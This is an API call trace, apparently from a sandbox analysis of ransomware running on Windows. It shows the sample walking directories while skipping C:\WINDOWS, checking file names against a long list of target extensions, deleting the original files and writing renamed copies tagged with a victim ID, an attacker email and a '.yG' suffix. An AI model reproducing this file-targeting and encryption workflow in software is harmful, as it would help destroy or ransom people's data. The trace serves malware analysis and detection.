	[0061.305] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 1
	[0061.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0061.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0061.306] lstrlenW (lpString=".doc") returned 4
	[0061.306] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0061.306] lstrlenW (lpString=".docx") returned 5
	[0061.306] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0061.306] lstrlenW (lpString=".pdf") returned 4
	[0061.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0061.306] lstrlenW (lpString=".xls") returned 4
	[0061.306] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0061.306] lstrlenW (lpString=".xlsx") returned 5
	[0061.306] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0061.306] lstrlenW (lpString=".ppt") returned 4
	[0061.306] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0061.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0061.306] lstrlenW (lpString=".zip") returned 4
	[0061.306] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0061.306] lstrlenW (lpString=".rar") returned 4
	[0061.306] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0061.306] lstrlenW (lpString=".bz2") returned 4
	[0061.306] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0061.306] lstrlenW (lpString=".7z") returned 3
	[0061.306] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0061.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0061.306] lstrlenW (lpString=".dbf") returned 4
	[0061.306] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0061.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0061.306] lstrlenW (lpString=".1cd") returned 4
	[0061.306] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0061.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0061.306] lstrlenW (lpString=".jpg") returned 4
	[0061.306] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0061.307] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.307] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0061.307] GetLastError () returned 0x0
	[0061.307] ReadFile (hFile=0x388, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0) 

Thread:
	id = 13
	os_tid = 0x9d8

	[0039.974] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x3b20720
	[0039.974] lstrlenW (lpString="C:") returned 2
	[0039.974] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x2eafcf8 | out: lpFindFileData=0x2eafcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x66a4b0
	[0039.974] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0039.974] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1
	[0039.974] lstrlenW (lpString="$GetCurrent") returned 11
	[0039.974] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1
	[0039.974] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x3b30728
	[0039.975] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0039.975] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x66aa70
	[0040.103] FindNextFileW (in: hFindFile=0x66aa70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0040.105] FindNextFileW (in: hFindFile=0x66aa70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1
	[0040.105] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0040.105] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1
	[0040.105] lstrlenW (lpString="Logs") returned 4
	[0040.105] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1
	[0040.105] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x4290050
	[0040.105] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0040.105] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742db0
	[0040.281] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.281] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1
	[0040.281] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37
	[0040.281] lstrlenW (lpString=".1cd") returned 4
	[0040.281] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0040.281] lstrlenW (lpString=".3ds") returned 4
	[0040.281] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1
	[0040.281] lstrlenW (lpString=".3fr") returned 4
	[0040.281] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1
	[0040.281] lstrlenW (lpString=".3g2") returned 4
	[0040.281] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1
	[0040.282] lstrlenW (lpString=".3gp") returned 4
	[0040.282] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1
	[0040.282] lstrlenW (lpString=".7z") returned 3
	[0040.282] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0040.282] lstrlenW (lpString=".accda") returned 6
	[0040.282] lstrcmpiW (lpString1=".accda", lpString2="66.log") returned -1
	[0040.282] lstrlenW (lpString=".accdb") returned 6
	[0040.282] lstrcmpiW (lpString1=".accdb", lpString2="66.log") returned -1
	[0040.282] lstrlenW (lpString=".accdc") returned 6
	[0040.282] lstrcmpiW (lpString1=".accdc", lpString2="66.log") returned -1
	[0040.282] lstrlenW (lpString=".accde") returned 6
	[0040.282] lstrcmpiW (lpString1=".accde", lpString2="66.log") returned -1
	[0040.282] lstrlenW (lpString=".accdt") returned 6
	[0040.282] lstrcmpiW (lpString1=".accdt", lpString2="66.log") returned -1
	[0040.282] lstrlenW (lpString=".accdw") returned 6
	[0040.282] lstrcmpiW (lpString1=".accdw", lpString2="66.log") returned -1
	[0040.282] lstrlenW (lpString=".adb") returned 4
	[0040.282] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1
	[0040.282] lstrlenW (lpString=".adp") returned 4
	[0040.282] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1
	[0040.282] lstrlenW (lpString=".ai") returned 3
	[0040.282] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1
	[0040.282] lstrlenW (lpString=".ai3") returned 4
	[0040.282] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1
	[0040.282] lstrlenW (lpString=".ai4") returned 4
	[0040.282] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1
	[0040.282] lstrlenW (lpString=".ai5") returned 4
	[0040.282] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1
	[0040.282] lstrlenW (lpString=".ai6") returned 4
	[0040.282] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1
	[0040.282] lstrlenW (lpString=".ai7") returned 4
	[0040.282] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1
	[0040.282] lstrlenW (lpString=".ai8") returned 4
	[0040.282] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1
	[0040.282] lstrlenW (lpString=".anim") returned 5
	[0040.282] lstrcmpiW (lpString1=".anim", lpString2="6.log") returned -1
	[0040.282] lstrlenW (lpString=".arw") returned 4
	[0040.282] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1
	[0040.282] lstrlenW (lpString=".as") returned 3
	[0040.282] lstrcmpiW (lpString1=".as", lpString2="log") returned -1
	[0040.283] lstrlenW (lpString=".asa") returned 4
	[0040.283] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1
	[0040.283] lstrlenW (lpString=".asc") returned 4
	[0040.283] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1
	[0040.283] lstrlenW (lpString=".ascx") returned 5
	[0040.283] lstrcmpiW (lpString1=".ascx", lpString2="6.log") returned -1
	[0040.283] lstrlenW (lpString=".asm") returned 4
	[0040.283] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1
	[0040.283] lstrlenW (lpString=".asmx") returned 5
	[0040.283] lstrcmpiW (lpString1=".asmx", lpString2="6.log") returned -1
	[0040.283] lstrlenW (lpString=".asp") returned 4
	[0040.283] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1
	[0040.283] lstrlenW (lpString=".aspx") returned 5
	[0040.283] lstrcmpiW (lpString1=".aspx", lpString2="6.log") returned -1
	[0040.283] lstrlenW (lpString=".asr") returned 4
	[0040.283] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1
	[0040.283] lstrlenW (lpString=".asx") returned 4
	[0040.283] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1
	[0040.283] lstrlenW (lpString=".avi") returned 4
	[0040.283] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1
	[0040.283] lstrlenW (lpString=".avs") returned 4
	[0040.283] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1
	[0040.283] lstrlenW (lpString=".backup") returned 7
	[0040.283] lstrcmpiW (lpString1=".backup", lpString2="766.log") returned -1
	[0040.283] lstrlenW (lpString=".bak") returned 4
	[0040.283] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1
	[0040.283] lstrlenW (lpString=".bay") returned 4
	[0040.283] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1
	[0040.283] lstrlenW (lpString=".bd") returned 3
	[0040.283] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1
	[0040.283] lstrlenW (lpString=".bin") returned 4
	[0040.283] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1
	[0040.283] lstrlenW (lpString=".bmp") returned 4
	[0040.283] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1
	[0040.283] lstrlenW (lpString=".bz2") returned 4
	[0040.283] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0040.283] lstrlenW (lpString=".c") returned 2
	[0040.283] lstrcmpiW (lpString1=".c", lpString2="og") returned -1
	[0040.283] lstrlenW (lpString=".cdr") returned 4
	[0040.284] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1
	[0040.284] lstrlenW (lpString=".cer") returned 4
	[0040.284] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1
	[0040.284] lstrlenW (lpString=".cf") returned 3
	[0040.284] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1
	[0040.284] lstrlenW (lpString=".cfc") returned 4
	[0040.284] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1
	[0040.284] lstrlenW (lpString=".cfm") returned 4
	[0040.284] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1
	[0040.284] lstrlenW (lpString=".cfml") returned 5
	[0040.284] lstrcmpiW (lpString1=".cfml", lpString2="6.log") returned -1
	[0040.284] lstrlenW (lpString=".cfu") returned 4
	[0040.284] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1
	[0040.284] lstrlenW (lpString=".chm") returned 4
	[0040.284] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1
	[0040.284] lstrlenW (lpString=".cin") returned 4
	[0040.284] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1
	[0040.284] lstrlenW (lpString=".class") returned 6
	[0040.284] lstrcmpiW (lpString1=".class", lpString2="66.log") returned -1
	[0040.284] lstrlenW (lpString=".clx") returned 4
	[0040.284] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1
	[0040.284] lstrlenW (lpString=".config") returned 7
	[0040.284] lstrcmpiW (lpString1=".config", lpString2="766.log") returned -1
	[0040.284] lstrlenW (lpString=".cpp") returned 4
	[0040.284] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1
	[0040.284] lstrlenW (lpString=".cr2") returned 4
	[0040.284] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1
	[0040.284] lstrlenW (lpString=".crt") returned 4
	[0040.284] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1
	[0040.284] lstrlenW (lpString=".crw") returned 4
	[0040.284] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1
	[0040.284] lstrlenW (lpString=".cs") returned 3
	[0040.284] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1
	[0040.284] lstrlenW (lpString=".css") returned 4
	[0040.284] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1
	[0040.284] lstrlenW (lpString=".csv") returned 4
	[0040.284] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1
	[0040.284] lstrlenW (lpString=".cub") returned 4
	[0040.284] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1
	[0040.285] lstrlenW (lpString=".dae") returned 4
	[0040.285] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1
	[0040.285] lstrlenW (lpString=".dat") returned 4
	[0040.285] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1
	[0040.285] lstrlenW (lpString=".db") returned 3
	[0040.285] lstrcmpiW (lpString1=".db", lpString2="log") returned -1
	[0040.285] lstrlenW (lpString=".dbf") returned 4
	[0040.285] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0040.285] lstrlenW (lpString=".dbx") returned 4
	[0040.285] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1
	[0040.285] lstrlenW (lpString=".dc3") returned 4
	[0040.285] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1
	[0040.285] lstrlenW (lpString=".dcm") returned 4
	[0040.285] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1
	[0040.285] lstrlenW (lpString=".dcr") returned 4
	[0040.285] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1
	[0040.285] lstrlenW (lpString=".der") returned 4
	[0040.285] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1
	[0040.285] lstrlenW (lpString=".dib") returned 4
	[0040.285] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1
	[0040.285] lstrlenW (lpString=".dic") returned 4
	[0040.285] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1
	[0040.285] lstrlenW (lpString=".dif") returned 4
	[0040.285] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1
	[0040.285] lstrlenW (lpString=".divx") returned 5
	[0040.285] lstrcmpiW (lpString1=".divx", lpString2="6.log") returned -1
	[0040.285] lstrlenW (lpString=".djvu") returned 5
	[0040.285] lstrcmpiW (lpString1=".djvu", lpString2="6.log") returned -1
	[0040.285] lstrlenW (lpString=".dng") returned 4
	[0040.285] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1
	[0040.285] lstrlenW (lpString=".doc") returned 4
	[0040.285] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0040.285] lstrlenW (lpString=".docm") returned 5
	[0040.285] lstrcmpiW (lpString1=".docm", lpString2="6.log") returned -1
	[0040.285] lstrlenW (lpString=".docx") returned 5
	[0040.285] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1
	[0040.285] lstrlenW (lpString=".dot") returned 4
	[0040.285] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1
	[0040.285] lstrlenW (lpString=".dotm") returned 5
	[0040.286] lstrcmpiW (lpString1=".dotm", lpString2="6.log") returned -1
	[0040.286] lstrlenW (lpString=".dotx") returned 5
	[0040.286] lstrcmpiW (lpString1=".dotx", lpString2="6.log") returned -1
	[0040.286] lstrlenW (lpString=".dpx") returned 4
	[0040.286] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1
	[0040.286] lstrlenW (lpString=".dqy") returned 4
	[0040.286] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1
	[0040.286] lstrlenW (lpString=".dsn") returned 4
	[0040.286] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1
	[0040.286] lstrlenW (lpString=".dt") returned 3
	[0040.286] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1
	[0040.286] lstrlenW (lpString=".dtd") returned 4
	[0040.286] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1
	[0040.286] lstrlenW (lpString=".dwg") returned 4
	[0040.286] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1
	[0040.286] lstrlenW (lpString=".dwt") returned 4
	[0040.286] lstrcmpiW (lpString1=".dwt", lpString2=".log") returned -1
	[0040.286] lstrlenW (lpString=".dx") returned 3
	[0040.286] lstrcmpiW (lpString1=".dx", lpString2="log") returned -1
	[0040.286] lstrlenW (lpString=".dxf") returned 4
	[0040.286] lstrcmpiW (lpString1=".dxf", lpString2=".log") returned -1
	[0040.286] lstrlenW (lpString=".edml") returned 5
	[0040.286] lstrcmpiW (lpString1=".edml", lpString2="6.log") returned -1
	[0040.286] lstrlenW (lpString=".efd") returned 4
	[0040.286] lstrcmpiW (lpString1=".efd", lpString2=".log") returned -1
	[0040.286] lstrlenW (lpString=".elf") returned 4
	[0040.286] lstrcmpiW (lpString1=".elf", lpString2=".log") returned -1
	[0040.286] lstrlenW (lpString=".emf") returned 4
	[0040.286] lstrcmpiW (lpString1=".emf", lpString2=".log") returned -1
	[0040.286] lstrlenW (lpString=".emz") returned 4
	[0040.286] lstrcmpiW (lpString1=".emz", lpString2=".log") returned -1
	[0040.286] lstrlenW (lpString=".epf") returned 4
	[0040.286] lstrcmpiW (lpString1=".epf", lpString2=".log") returned -1
	[0040.286] lstrlenW (lpString=".eps") returned 4
	[0040.286] lstrcmpiW (lpString1=".eps", lpString2=".log") returned -1
	[0040.286] lstrlenW (lpString=".epsf") returned 5
	[0040.286] lstrcmpiW (lpString1=".epsf", lpString2="6.log") returned -1
	[0040.286] lstrlenW (lpString=".epsp") returned 5
	[0040.287] lstrcmpiW (lpString1=".epsp", lpString2="6.log") returned -1
	[0040.287] lstrlenW (lpString=".erf") returned 4
	[0040.287] lstrcmpiW (lpString1=".erf", lpString2=".log") returned -1
	[0040.287] lstrlenW (lpString=".exr") returned 4
	[0040.287] lstrcmpiW (lpString1=".exr", lpString2=".log") returned -1
	[0040.287] lstrlenW (lpString=".f4v") returned 4
	[0040.287] lstrcmpiW (lpString1=".f4v", lpString2=".log") returned -1
	[0040.287] lstrlenW (lpString=".fido") returned 5
	[0040.287] lstrcmpiW (lpString1=".fido", lpString2="6.log") returned -1
	[0040.287] lstrlenW (lpString=".flm") returned 4
	[0040.287] lstrcmpiW (lpString1=".flm", lpString2=".log") returned -1
	[0040.287] lstrlenW (lpString=".flv") returned 4
	[0040.287] lstrcmpiW (lpString1=".flv", lpString2=".log") returned -1
	[0040.287] lstrlenW (lpString=".frm") returned 4
	[0040.287] lstrcmpiW (lpString1=".frm", lpString2=".log") returned -1
	[0040.287] lstrlenW (lpString=".fxg") returned 4
	[0040.287] lstrcmpiW (lpString1=".fxg", lpString2=".log") returned -1
	[0040.287] lstrlenW (lpString=".geo") returned 4
	[0040.287] lstrcmpiW (lpString1=".geo", lpString2=".log") returned -1
	[0040.287] lstrlenW (lpString=".gif") returned 4
	[0040.287] lstrcmpiW (lpString1=".gif", lpString2=".log") returned -1
	[0040.287] lstrlenW (lpString=".grs") returned 4
	[0040.287] lstrcmpiW (lpString1=".grs", lpString2=".log") returned -1
	[0040.287] lstrlenW (lpString=".gz") returned 3
	[0040.287] lstrcmpiW (lpString1=".gz", lpString2="log") returned -1
	[0040.287] lstrlenW (lpString=".h") returned 2
	[0040.287] lstrcmpiW (lpString1=".h", lpString2="og") returned -1
	[0040.287] lstrlenW (lpString=".hdr") returned 4
	[0040.287] lstrcmpiW (lpString1=".hdr", lpString2=".log") returned -1
	[0040.287] lstrlenW (lpString=".hpp") returned 4
	[0040.287] lstrcmpiW (lpString1=".hpp", lpString2=".log") returned -1
	[0040.287] lstrlenW (lpString=".hta") returned 4
	[0040.287] lstrcmpiW (lpString1=".hta", lpString2=".log") returned -1
	[0040.287] lstrlenW (lpString=".htc") returned 4
	[0040.287] lstrcmpiW (lpString1=".htc", lpString2=".log") returned -1
	[0040.287] lstrlenW (lpString=".htm") returned 4
	[0040.287] lstrcmpiW (lpString1=".htm", lpString2=".log") returned -1
	[0040.287] lstrlenW (lpString=".html") returned 5
	[0040.287] lstrcmpiW (lpString1=".html", lpString2="6.log") returned -1
	[0040.288] lstrlenW (lpString=".icb") returned 4
	[0040.288] lstrcmpiW (lpString1=".icb", lpString2=".log") returned -1
	[0040.288] lstrlenW (lpString=".ics") returned 4
	[0040.288] lstrcmpiW (lpString1=".ics", lpString2=".log") returned -1
	[0040.288] lstrlenW (lpString=".iff") returned 4
	[0040.288] lstrcmpiW (lpString1=".iff", lpString2=".log") returned -1
	[0040.288] lstrlenW (lpString=".inc") returned 4
	[0040.288] lstrcmpiW (lpString1=".inc", lpString2=".log") returned -1
	[0040.288] lstrlenW (lpString=".indd") returned 5
	[0040.288] lstrcmpiW (lpString1=".indd", lpString2="6.log") returned -1
	[0040.288] lstrlenW (lpString=".ini") returned 4
	[0040.288] lstrcmpiW (lpString1=".ini", lpString2=".log") returned -1
	[0040.288] lstrlenW (lpString=".iqy") returned 4
	[0040.288] lstrcmpiW (lpString1=".iqy", lpString2=".log") returned -1
	[0040.288] lstrlenW (lpString=".j2c") returned 4
	[0040.288] lstrcmpiW (lpString1=".j2c", lpString2=".log") returned -1
	[0040.288] lstrlenW (lpString=".j2k") returned 4
	[0040.288] lstrcmpiW (lpString1=".j2k", lpString2=".log") returned -1
	[0040.288] lstrlenW (lpString=".java") returned 5
	[0040.288] lstrcmpiW (lpString1=".java", lpString2="6.log") returned -1
	[0040.288] lstrlenW (lpString=".jp2") returned 4
	[0040.288] lstrcmpiW (lpString1=".jp2", lpString2=".log") returned -1
	[0040.288] lstrlenW (lpString=".jpc") returned 4
	[0040.288] lstrcmpiW (lpString1=".jpc", lpString2=".log") returned -1
	[0040.288] lstrlenW (lpString=".jpe") returned 4
	[0040.288] lstrcmpiW (lpString1=".jpe", lpString2=".log") returned -1
	[0040.288] lstrlenW (lpString=".jpeg") returned 5
	[0040.288] lstrcmpiW (lpString1=".jpeg", lpString2="6.log") returned -1
	[0040.288] lstrlenW (lpString=".jpf") returned 4
	[0040.288] lstrcmpiW (lpString1=".jpf", lpString2=".log") returned -1
	[0040.288] lstrlenW (lpString=".jpg") returned 4
	[0040.288] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1
	[0040.288] lstrlenW (lpString=".jpx") returned 4
	[0040.288] lstrcmpiW (lpString1=".jpx", lpString2=".log") returned -1
	[0040.288] lstrlenW (lpString=".js") returned 3
	[0040.288] lstrcmpiW (lpString1=".js", lpString2="log") returned -1
	[0040.288] lstrlenW (lpString=".jsf") returned 4
	[0040.288] lstrcmpiW (lpString1=".jsf", lpString2=".log") returned -1
	[0040.288] lstrlenW (lpString=".json") returned 5
	[0040.289] lstrcmpiW (lpString1=".json", lpString2="6.log") returned -1
	[0040.289] lstrlenW (lpString=".jsp") returned 4
	[0040.289] lstrcmpiW (lpString1=".jsp", lpString2=".log") returned -1
	[0040.289] lstrlenW (lpString=".kdc") returned 4
	[0040.289] lstrcmpiW (lpString1=".kdc", lpString2=".log") returned -1
	[0040.289] lstrlenW (lpString=".kmz") returned 4
	[0040.289] lstrcmpiW (lpString1=".kmz", lpString2=".log") returned -1
	[0040.289] lstrlenW (lpString=".kwm") returned 4
	[0040.289] lstrcmpiW (lpString1=".kwm", lpString2=".log") returned -1
	[0040.289] lstrlenW (lpString=".lasso") returned 6
	[0040.289] lstrcmpiW (lpString1=".lasso", lpString2="66.log") returned -1
	[0040.289] lstrlenW (lpString=".lbi") returned 4
	[0040.289] lstrcmpiW (lpString1=".lbi", lpString2=".log") returned -1
	[0040.289] lstrlenW (lpString=".lgf") returned 4
	[0040.289] lstrcmpiW (lpString1=".lgf", lpString2=".log") returned -1
	[0040.289] lstrlenW (lpString=".lgp") returned 4
	[0040.289] lstrcmpiW (lpString1=".lgp", lpString2=".log") returned -1
	[0040.289] lstrlenW (lpString=".log") returned 4
	[0040.289] lstrcmpiW (lpString1=".log", lpString2=".log") returned 0
	[0040.289] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37
	[0040.289] lstrlenW (lpString=".yG") returned 3
	[0040.289] lstrcmpiW (lpString1=".yG", lpString2="log") returned -1
	[0040.289] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37
